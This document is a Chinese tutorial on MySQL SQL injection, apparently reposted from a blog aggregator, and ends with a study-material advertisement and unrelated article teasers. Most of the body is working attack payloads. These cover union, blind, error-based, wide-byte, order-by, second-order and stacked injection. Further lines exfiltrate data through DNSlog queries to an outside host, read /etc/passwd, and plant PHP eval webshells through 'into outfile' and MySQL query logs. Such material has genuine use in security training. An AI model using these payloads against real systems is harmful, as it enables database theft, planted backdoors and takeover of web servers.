Mysql注入详细讲解

特殊字符

0x3a:
0x7e~
0x23#

注入基础

联合查询注入(union)

:::tips
页面将SQL查询内容显示出来,即为有回显,可以尝试联合查询注入
利用关键字union ,union all 拼接恶意SQL语句
:::

注入流程

  1. 有报错,可以利用报错。如:?id=1' order by 4 --+,有报错回显,可以利用order by猜测字段数!

    image

  2. 使用union select **1,2,3,x..**获取回显字段位置:?id=-1' union select 1,2,3--+

    1. 注意:union前面语句要出错(不是报错)!

      image

    2. select后一定要拼接足够的字段数,否则会报错

    3. 如果测试都正常,但是union select 1,2,3会导致页面报错,说明字段类型不对,可以使用null替代:union select null,null,null

  3. 找到回显位置后,可以开始查库名database(),表名,列名,数据库版本等信息

    1. Mysql版本 < 5.0

      1. 缺乏系统库information_schema,所以通常情况下,只能爆破表,字段的名称

    2. Mysql >= 5.0

      1. 存在information_schema,可以通过下面语句获取所有数据库信息

获取所有数据库
select schema_name from information_schema.schemata

获取当前数据库的所有表名
select table_name from information_schema.tables where table_schema = database()

获取表名为users的所有列信息
select column_name from information_schema.columns where table_name = 'users' 

获取当前数据库表users中id,username的值
select id,username from users;

小总结:

-- 判断字段数目
order by 

-- 联合查询搜集信息(表中字段数为 3,注意字符类型,如 int,String 之类的)
union select 1,2,3

-- 查询当前数据库名称
union select 1,2,database();

-- 查询所有数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata;

--查询当前数据库中的所有表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();

-- 查询某表的列名
union select 1,2,group_concat(column_name) from information_shcema.columns where table_name = 'student'
(studnet 表示 具体的表名)

-- 查询数据
union select 1,2,group_concat(id,name,age) from student;

具体使用

:::info
一般会选择最后一个可用字段,用其他字段容易报错
:::

查所有表

?id=-1' **union select** 1,2,group_concat(table_name) from **information_schema.tables** **where** table_schema=database()--+
(table_schema=database() 表示目标表所在的数据库为当前数据库)

查列名

?id=-1'** union select** 1,2,group_concat(column_name) from **information_schema.columns where** table_name='users'--
(table_name='users' 表示查询的表为users表)

查值

?id=-1' union select 1,2,group_concat(0x23,username,0x23,password) from users --+
(0x23表示#号,用于分割查询到的数据)

盲注

布尔盲注

通过利用页面对逻辑真假的差异(真/假),进行判断是否可以进行布尔盲注

原理:

select * from users where username=$username **and (condition)**,其中and (condition)即为我们拼接的语句

  • and 1=1 真

  • and 1=2 假
    :::info
    上面两个只是最简单的布尔条件,如果真和假的页面不同,可以尝试布尔盲注
    一般注入点找到后,可以用sqlmap去跑,手工太慢了
    :::

常用函数
  • ascii():返回指定字符的ascii码

  • count():计算结果集的数量

  • length():返回指定字符串的长度

  • substr()/substring(str,pos,length):返回截取的子字符串

利用方式

判断:
?id=1' and 1=2 --+?id=1' and 1=1 --+页面不同,说明存在布尔盲注
常用语句:

  • 求数据库长度

?id=1' and (length(database())=8) --+
?id=1' and (length(database())>7) --+
?id=-1' or (length(database())>7) --+
  • 求数据库名(用字符来逐个对比)

从左往右截取一个字符
?id=1' and (left(database(),1)='s') --+

从左往右截取2个字符
?id=1' and (left(database(),2)='se') --+

从第一个字符开始截取一个字符,其ascii码是否为115(s的ascii码是115)
?id=1' and ascii(substr(database(),1,1))=115 --+

从第二个字符开始截取一个字符,其ascii码是否为101
?id=1' and ascii(substr(database(),2,1))=101 --+

利用大小比较截取字符的ascii码
?id=1' and ascii(substr(database(),1,1))<115
  • 求当前数据库中当前表的数量

?id=1' and 4=(select count(table_name) from information_schema.tables where table_schema=database()) --+

?id=1' and 4=(select count(table_name) from information_schema.tables where table_schema='security') --+
  • 求当前数据库表名长度

表名的长度就是substr()函数中的7-1=6,即猜测库中表长是否为6
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),7,1)) --+

其中limit 1,1代表取security库中的第二个表,即利用limit来控制第几个表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),7,1)) --+

利用length()来猜测表长
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8) --+
  • 求当前数据库名

利用substr截取字段,依次猜测

对security数据库中的第一个表的第一个字符进行ascii码的猜测,可以利用limit控制第几个表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
  • 求指定表中列的数量

利用count()计数
?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=20 --+
  • 求对列名的长度

利用substr猜测长度,和猜表名长度一样
如果猜测正确,则页面异常,如果猜错,也页面正常,递增测试
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)) --+

利用length()判断
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2 --+
  • 跑字段(一般直接用sqlmap跑)

测试数据库security中表users的username字段的第一个数据的第一个字符的ascii是否为67
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=67 --+

?id=1' and ascii(substr((select concat(username,':',password) from security.users limit 0,1),1,1))=68 --+

时间盲注

利用特定函数,是页面返回内容存在时间差异进行条件判断

常用函数
  • if(1,2,3):如果语句1True,则执行语句2,否则执行语句3

  • sleep(x):延迟x秒后执行

  • ascii(char):将字符转换为ascii码

  • substr(str,pos,len):将字符串从pos位开始截取len长

  • benchmark(count,exp):执行表达式exp,count次

  • case...when...then...else...end

什么时候用?
  • 无论输入什么都只显示无信息页面,如登录页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的 SQL 注入会有效

  • 无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面,采集用户的 IP,浏览器类型,referer 字段,session 字段,无论用户输入什么,都显示正常页面

使用方式

以if(1,2,3)条件判断为例

  • 猜数据库名长度

?id=1' and if(length(database())>7,1,sleep(5)) --+
如果数据库名称大于7,则响应很快,如果长度不大于7,则等待5秒响应

其他语句

case...when[条件] then [条件True执行语句]else [条件False执行语句] end
?id=1' and case 1 when 1=1 then sleep(5) else 1 end --+

benchmark(count,exp)
?id=1' and benchmark(10000000,md5('a'))--+     预计2s

笛卡尔积
?id=1' and (select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C) --+       10秒

报错注入

服务器开启报错信息返回,即回显报错信息,可以通过特殊函数的错误使其参数页面输出

  • 报错函数通常对报错输出长度有限制,可以通过函数进行分割输出

  • 可以利用group_concat()函数聚合数据

常用报错函数

exp()函数

适用范围:mysql > 5.5.53时无法使用
函数作用:返回e的x次方的结果
原理:mysql能记录的double数据结果有限,一但超出限制,就会报错
由于0按位取反取值为:18446744073709551615,直接造成double型溢出,利用mysql函数正常取值会返回0的特性,则有:

select exp(~(select * from (select version())x));

?id=1' and exp(~(select * from (select version())x)) --+
  1. exp()函数套用两层子查询

    1. 先查询select version(),将结果集设为x

    2. 在查询select * from x,将结果集x中的所有结果输出

    3. 必须使用嵌套

ExtractValue()

语法:extractvalue(xml_flag,xpath_expr)
使用范围:5.1.5+
原理:Xpath格式语法书写错误,就会报错
:::info
此报错注入和updatexml()都只能报错最大32位,若要爆出32位之后的数据,就需要借助mid()函数进行字符截取从32位以后的数据
:::

mid()函数

语法:mid(string,start,length)
使用:

?id=1' and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23),1,32)) --+
updatexml()

语法:updatexml(XML_document,Xpath_String,new_value)
适应:5.1.5+
原理:同extractvalue()

Payload:updatexml(1,concat(0x23,user(),0x23),1)

?id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23),1,32),1) --+
floor报错

用到的函数:

  • floor():向下取整

  • rand():取随机数,若有参数x,则每个x对应一个固定的值,连续多次执行会变化但是可以预测

  • floor(rand(0)*2):产生序列:011011011....

原理:利用数据库表主键不能重复的原理,使用GROPU BY分组,产生主键key冗余导致报错
若要利用floor报错注入,数据库数据必须大于三条

爆库
?id=1' and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x) as y --+

爆表
?id=1' and (SELECT 1 from (SELECT count(*),concat(0x23,(SELECT table_name from information_schema.`TABLES` WHERE table_schema=database() LIMIT 0,1),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x) as y) --+
其他几何函数报错
GeometryCollection:?id=1' AND GeometryCollection((select * from (select* from(select user())a)b)) --+

polygon():?id=1' AND polygon((select * from(select * from(select user())a)b))--+

multipoint():?id=1' AND multipoint((select * from(select * from(select user())a)b)) --+

multilinestring():?id=1' AND multilinestring((select * from(select * from(select user())a)b)) --+

linestring():?id=1' AND LINESTRING((select * from(select * from(select user())a)b)) --+

multipolygon() :?id=1' AND multipolygon((select * from(select * from(select user())a)b)) --+
GTID()

原理:参数格式错误

?id=1' and SELECT gtid_subset(user(),1)

?id=1' and SELECT gtid_subtract((SELECT * from (SELECT users())a),1)
name_const()

原理:mysql列名重复会导致报错,通过name_const制造一个列
作用:只能获取数据库版本信息

边界溢出

原理:当mysql数据库的边界数值进行运算时,会触发报错
例如:0-~0

?id=1' and (SELECT !(SELECT * from(SELECT mid(group_concat(table_name),21,32) from information_schema.tables where table_schema = database())a)-~0) --+

宽字节注入

原理:Mysql配置**魔术引号(magic_quotes_gpc)**或者使用**addslashes()**函数对字符进行过滤时,会在其前面加上\进行过滤,而\ = %5c由于国内一般使用GBK编码,当注入参数里有%df(或%bf)时,会使得%df%5c转化为一个汉字,从而吃掉转义\使得'可以起作用

' => %27
# => %23

产生原因:character_set_client和character_set_connection不同,或者过滤函数iconv,mb_convert_encoding使用不当

Payload

?id=1%df%27 and 1=1 %23

有时候网站会设置UTF-8编码进行过滤,使用**iconv()**将GBK转化为UTF-8

payload

?id=1%e5%5c%27 and 1=1 --+

%e5%5c 是 gbk 编码,转换为 UTF-8 编码是 %e9%8c%a6
%e5%5c%27 首先从 gbk 编码经过 addslashes 函数之后变成 %e5%5c%5c%5c%27,再通过 iconv()将其转换为 UTF-8 编码,%e9%8c%a6%5c%5c%27 ,其中 %e9%8c%a6 是汉字,%5c%5c%27 解码之后是\\&#39;第一个\将第二个\转义,使得 %27 单引号逃逸,成功闭合语句

order by注入

原因:order by 注入通常出现在排序中,前端展示的表格,某一列需要进行升序或者降序排列,或者做排名比较的时候常常会用到 order by 排序,order by 在 select 语句中,紧跟在 where [where condition]后,且 order by 注入无法使用预编译来防御,由于 order by 后面需要紧跟 column_name,而预编译是参数化字符串,而 order by 后面紧跟字符串就会提示语法错误,通常防御 order by 注入需要使用白名单的方式。

利用方式(基于报错注入判断)

通过order by列名,根据排序返回的情况来判断是否存在,或者使用超大数,构成SQL语句错误

返回多条记录导致报错
?sort=(select 1 union select 2)

?sort=IF(1=1,1,(select 1 from information_schema.tables))
?sort=IF(1=2,1,(SELECT 1 from information_schema.tables))


利用regexp()
?sort=(select 1 regexp if(1=1,1,0x00)) // 正确
?sort=(select 1 regexp if(1=2,1,0x00)) // 错误

其他报错函数(见报错注入)
.....

二次注入

**原理:**用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

用途:

  • 无视密码进行登录

  • 重置密码

利用:
注册时:admin '#

当我们进行一些恶意操作时,例如:重置密码
此时的数据库执行的语句会变为:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
# 号后面内容全部被注释掉了

整型注入

无论输入' 或 "都会报错,而改变数字不会触发报错,可以尝试?id=1 and 1=1如果没有报错,而id=1 and 1=2报错,说明是整型注入

通常语句如下:
    $query="select username,email from member where id=$id";

注入方式:
id=1 order by 3--+  或id=1 order by 3#

id=1 union select 1,2,3#
然后就是相对应的注入手法进行数据获取

堆叠注入

原理:在Mysql中分号;表示一条sql语句的结束,若目标Mysql支持多语句执行,就可以尝试堆叠注入,但是只会返回第一条语句的内容

一种利用方式
?id=2';insert into users(id,username,password) values(99,'test','test') --+

强行插入数据
或者update更改数据内容

加密注入

GET/POST提交数据时,发现提交的数据被加密了(可能js加密),那么在提交数据前,抓包,解密,将注入语句写好,然后将整个语句进行加密(相同加密算法),再将数据发过去。

加密手段

  • 简单加密

    • base64加密(典型:后面有等号=,一个或者两个)

  • 复杂加密

    • 一般是前端js加密(分析前端js加密代码)

    • 有密码之类的,可能存在后端加密,无法处理

伪静态注入

首先要明白概念:静态(html)、动态(php,asp,jsp...)、伪静态,看URL大致就能发现
伪静态:页面看似是静态页面(html),实则为动态页面。
静态页面:纯展示内容,无论谁访问,看到的都一样,没有数据交互,只能看
动态网站:存在数据交互,不同人看可能内容不一样

伪静态判断方式:

  • 利用Wappalyzer插件--看编程语言(不一定准)

  • 在控制台输入:

    image

    javascript:alert(document.lastModified),如果得到的时间和当前电脑时间一致,就是伪静态,否则就是静态

    image

伪静态地址看法:
http://xxx.xxx.xx.xx:xxx/test.php/id/1.html
(原型一般为:http://xxx.xxx.xx.xx:xxx/test.php?id=1 ),所以只需要在**1**处进行注入测试即可

HTTP头注入(场景)

**原理:**从 HTTP 头中获取数据,而未对获取到的数据进行过滤,从而产生的注入。HTTP 头注入常常发生在程序采集用户信息的模块中。
:::info
http头部注入,一般不懂使用注释符,但是可以用and '1'='1 之类逻辑语句替换
:::
主要可以注入的关键字:

X-Forwarded-For/Client-IP 用户 IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])

User-Agent 用户代理的设备信息(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

Referer 告诉服务器该网页是从哪个页面链接过来的

Cookie 标识用户的身份信息(通常经过加密)

可以在上面几个HTTP数据中,进行SQL注入的测试

测试

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0**' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1**

image

DNSlog盲注(DNS盲注)

也叫OOB(Out-of-Band,带外数据)注入
默认情况下无法使用,需要修改配置secure-file-priv
**原理:**关于特定网站的 DNS 查询的一份记录表。若 A 用户对 B 网站进行访问/请求等操作,首先会去查询 B 网站的 DNS 记录,由于 B 网站是被我们控制的,便可以通过某些方法记录下 A 用户对于 B 网站的 DNS 记录信息。
**利用方式:**想要查询数据A,让mysql服务端去请求A.evil.com,通过记录evil.com的DNS记录就可以得到数据A
**利用函数:**load_file()
应用场景:

  1. 三大注入(报错,盲注,Union联合查询)无法使用,或盲注跑数据太慢

  2. 有文件读取权限及secure-file-priv没有值(即secure-file-priv= ,而不是=null)

  3. 目标系统为Windows(这里涉及到UNC路径,Linux无法使用)

基本用法:
' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

  • 四个\\,最后表示\,因为有两个是分别用来转义的

  • .xxxx.ceye.io\\abc是让mysql数据库去请求的DNSlog服务器(有在线的),abc是随便写的

' and select load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))

文件读写

读文件

**作用:**读取敏感文件、配置信息、数据库数据
限制:

  1. 知道所读文件的绝对路径

  2. secure-file-priv的值为非NULL或者包含所读文件的绝对路径或者为

  3. mysql服务对所读文件有读权限

  4. mysql连接的用户有FILE权限/ROOT用户/ROOT权限**(高权限)**

使用:
查询当前用户是否有权限读写:
' and (select **File_priv** from **mysql.user** where **user='root'** and **host='localhost'**)='Y'%23(%23是#,注释)

secure_file_prive=null 限制mysqld 不允许导入和导出
secure_file_priv=/tmp/ 限制mysqld 的导入和导出只能在/tmp/目录下
secure_file_priv= 不对mysqld 的导入和导出做限制

三种方法查看当前secure-file-priv的值:

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "%secure%";  或者:show variables like 'secure_file_priv';

或者:
select user,file_priv from mysql.user

image

image

Payload:
**load_file()load data infile()**是不同版本的Mysql中读文件的函数

load_file()函数(load_file()支持网络路径)
select load_file('文件绝对路径')
?id=-1' union select 1,load_file('C:/test.txt'); --+

load_file()的路径可以被hex编码:
?id=-1' union select 1,load_file(0x433a2f746573742e747874); --+
进行hex编码时,不需要引号


load data infile()函数
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
select * from test;

:::info
在mysql 5.6.34版本后,secure-file-priv设置默认为NULL,只能通过修改配置文件才能
:::

写文件

条件

  • secure-file-priv无值或有可利用的目录

  • 指导目标绝对路径

  • 目标目录可写,mysql权限足够

  • 写入目标文件不存在

mysql<5.5.53,secure-file-priv默认为空

主要函数:

  • into outfile

    • 可以写入多条数据,并会在每⾏的结束加上换⾏符

    • 将数据写到文件里时有特殊的格式转换

    • outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。

  • into dumpfile

    • 只能写入一条数据

    • dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件

    • dumpfile,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/

select * from users into outfile 'C:\test.txt'         将users表中数据导出到test.txt文件中

select * from users into dumpfile 'C:\test1.txt'

补充:利用导出函数的补充参数写shell

FIELDS TERMINATED BY ','    = 字段值之间以,分割
OPTIONALLY ENCLOSED BY '"'    = 字段值以"包裹
LINES TERMINATED BY '\n'    = 设置每⾏数据结尾的字符为换行符

select * from users into outfile 'C:/phpStudy/test.php' **LINES STARTING BY '<?php @eval($_POST[pass]);?>'**;

Payload
outfile一句话写
  • ?id=-1' union select 1,"<?php @eval($POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#

  • Shell Hex编码

    • ?id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/shell.php"

    • hex编码时,引号就不用带入编码了

日志getshell

由于mysql在5.5.53+后,secure-file-priv默认为NULL,使得正常读写文件无法使用,所以可以尝试mysql生成日志的方法绕过。
只有查询日志和慢查询日志可以利用

条件

  • 权限足够大,可以进行日志操作(执行set语句)

  • 知道目标目录的绝对路径

利用:
利用慢查询日志
show variables like '%query_log%';      查看慢查询日志状态
set global slow_query_log = 1;    开启慢查询日志
set global slow_query_log_file='C:/phpstudy/WWW/test.php’;		修改日志文件的绝对路径


利用查询日志
show variables like '%general_log%';    查看查询日志状态
set global general_log = 'ON';    开启查询日志
set global general_log_file = 'C:/phpStudy/WWW/test.php';		修改日志文件的绝对路径

修改完日志条件后,执行查询的恶意语句,就会自动记录,例如:
?id=-1';select "<?php @eval($_POST[log]);?>" from users where sleep(11);#

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/637952.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

day 38 435.无重叠区间 763.划分字母区间 56. 合并区间 738.单调递增的数字 968.监控二叉树

435.无重叠区间 思路 为了使区间尽可能的重叠所以排序来使区间尽量的重叠&#xff0c;使用左边界排序来统计重叠区间的个数与452. 用最少数量的箭引爆气球恰好相反。 代码 class Solution {public int eraseOverlapIntervals(int[][] intervals) {Arrays.sort(intervals,(a,…

不同类型的区块链钱包有什么特点和适用场景?

区块链钱包是用于存储和管理加密货币的重要工具&#xff0c;市面上有许多不同类型的区块链钱包可供选择。以下是几种主要类型的区块链钱包及其特点和适用场景。 1.软件钱包&#xff1a; 特点&#xff1a;软件钱包是最常见的一种区块链钱包&#xff0c;通常作为软件应用程序提供…

系统工程 | 系统工程概识

系统工程是为了最好地实现系统的目的&#xff0c;对系统的组成要素、组织结构、信息流、控制机构等进行分析研究的科学方法。 它运用各种组织管理技术&#xff0c;使系统的整体与局部之间的关系协调和相互配合&#xff0c;实现总体的最优运行。 系统工程不同于一般的传统工程…

指针数组与数组指针的理解

typedef struct vexnode {int key;struct arcnode *next; }vexnode, adjlist[MVNUM]; void init(adjlist *list); void init(adjlist *list) {for(size_t i 0; i < MVNUM; i){list[i].key i;list[i].next NULL;} }上述代码编译的时候没有报错&#xff0c;但是运行的时候&…

数据仓库和数据挖掘基础

文章目录 1. 数据仓库基础知识1.1 数据仓库的基本特性1.2 数据仓库的数据模式1.3 数据仓库的体系结构 2. 数据挖掘基础知识2.1 数据挖掘的分类2.2 数据挖掘技术2.3 数据挖掘的应用过程 传统数据库在联机事务处理(OLTP)中获得了较大的成功&#xff0c;但是对管理人员的决策分析要…

LeetCode刷题笔记第2769题:找到最大的可达成数字

LeetCode刷题笔记第2769题&#xff1a;找到最大的可达成数字 题目&#xff1a; 想法&#xff1a; 从题目中可以看出&#xff0c;num经过t次增减变为x&#xff0c;x即为可达成数字。因为要求最大的可达成数字&#xff0c;需要满足num一直增加&#xff0c;x一直减少&#xff0c…

第七节:带你全面理解vue3: 其他响应式进阶API

前言: 针对vue3官网中, 响应式:进阶API 中, 我们在上一章中给大家讲解了shallowRef, shallowReactive, shallowReadonly几个API的使用. 本章主要对剩下的API 进行讲解, 我们先看一下官网中进阶API 都有那些 对于剩下这些API, 你需要了解他们创建目的, 是为了解决之前的API存在…

C语言/数据结构——每日一题(设计循环队列)

一.前言 上一次我们分享了关于队列的基本实现——https://blog.csdn.net/yiqingaa/article/details/139033067?spm1001.2014.3001.5502 现在我们将使用队列知识来解决问题——设计循环队列&#xff1a;https://leetcode.cn/problems/design-circular-queue/submissions/533299…

振弦式渗压计的维护和校准:确保数据准确性的关键步骤

振弦式渗压计是一种用于测量土壤和岩石中孔隙水压力的高精度仪器。它广泛应用于土木工程、水利工程、地质灾害监测等领域&#xff0c;准确性直接影响到工程安全和监测数据的可靠性。因此&#xff0c;对振弦式渗压计进行适当的维护和校准是至关重要的。本文将探讨振弦式渗压计的…

2024-5-6-从0到1手写配置中心Config之实现配置中心客户端

配置加载原理 在Spring中PropertySource类实现了所有属性的实例化。 启动赋值&#xff1a; 定义自定义属性配置源&#xff0c;从config-server获取全局属性&#xff1b;Spring启动时&#xff0c;插入自定义属性配置源&#xff1b;绑定属性会优先使用&#xff0c;给自定义属性…

tomcat jdbc连接池的默认配置配置方案

MySQL 5.0 以后针对超长时间数据库连接做了一个处理&#xff0c;即一个数据库连接在无任何操作情况下过了 8 个小时后(MySQL 服务器默认的超时时间是 8 小时)&#xff0c;MySQL 会自动把这个连接关闭。在数据库连接池中的 connections 如果空闲超过 8 小时&#xff0c;MySQL 将…

python期末作业:批量爬取站长之家的网站排行榜数据并保存,数据分析可视化

爬虫作业,含python爬取数据和保存文件,数据分析使用pyecharts做数据可视化 整体上分析网站的排名,直观看各个网站的热度。 数据分析之后大致的效果: 整个项目分为两个大的部分,第一部分就是抓取网站排名数据,然后保存为Excel、csv等格式,其次就是从文件中…

Advanced Installer 使用教程-自定义操作(下)

1、点击左侧“必要条件”&#xff0c;选择“运行环境” 2、这个运行环境用于设置安装前、中、后&#xff0c;各个阶段的自定义操作 3、安装过程中的自定义操作 1&#xff09;右击基本特征&#xff0c;选择新建程序包先决条件&#xff0c;在弹出的对话框中选择自己的EXE任务程…

Live800:客户为王,企业竞争的新趋势与核心要素!

在企业经营管理中&#xff0c;客户始终是最重要的资源和战略。从企业经营的角度来说&#xff0c;企业管理的核心是客户管理&#xff0c;客户管理的核心是价值创造和价值分配&#xff0c;这是企业经营的基础。这里主要讨论了企业竞争的新趋势与核心要素&#xff0c;认为客户为王…

营收净利双降、股东减持,大降价也救不了良品铺子

号称“高端零食第一股”的良品铺子(603719.SH)&#xff0c;正遭遇部分股东的“用脚投票”。 5月17日晚间&#xff0c;良品铺子连发两份减持公告&#xff0c;其控股股东宁波汉意创业投资合伙企业、持股5%以上股东达永有限公司&#xff0c;两者均计划减持。 其中&#xff0c;宁…

【minio】minio文件访问不到问题记录

问题描述&#xff1a; 项目上上传了logo&#xff0c;但是无法回写logo&#xff0c;但是文件minio路径已经返回&#xff0c;并且到minio服务器上也能下载文件&#xff1b; 解决方案&#xff1a; 1.排查Nginx的代理的minio是否正确 2.登录minio服务查一下文件路径policy是否设置访…

国内大模型价格战全面爆发:新旧势力逐鹿江湖【附主流模型价格对比】

近年来&#xff0c;随着人工智能技术的不断发展&#xff0c;大模型逐渐成为行业的焦点。然而&#xff0c;伴随而来的却是一场价格战。DeepSeek率先推出超低价服务&#xff0c;随后字节跳动、阿里巴巴、百度、科大讯飞、腾讯等巨头纷纷跟进&#xff0c;使得这一领域的竞争愈演愈…

研发机构大数据迁移如何保障敏感数据不泄露

随着云计算和大数据技术的飞速进步&#xff0c;越来越多的企业正试图通过数据迁移来提升IT基础设施的效率&#xff0c;减少成本&#xff0c;并增强业务的灵活性。但是&#xff0c;这一过程并非没有它的挑战&#xff0c;尤其是在数据安全方面。数据在转移过程中可能会遭遇黑客攻…

Python使用thread模块实现多线程

介绍&#xff1a; 线程&#xff08;Threads&#xff09;是操作系统提供的一种轻量级的执行单元&#xff0c;可以在一个进程内并发执行多个任务。每个线程都有自己的执行上下文&#xff0c;包括栈、寄存器和程序计数器。 在Python中&#xff0c;可以使用threading模块创建和管理…

设计模式5——抽象工厂模式

写文章的初心主要是用来帮助自己快速的回忆这个模式该怎么用&#xff0c;主要是下面的UML图可以起到大作用&#xff0c;在你学习过一遍以后可能会遗忘&#xff0c;忘记了不要紧&#xff0c;只要看一眼UML图就能想起来了。同时也请大家多多指教。 抽象工厂模式&#xff08;Abst…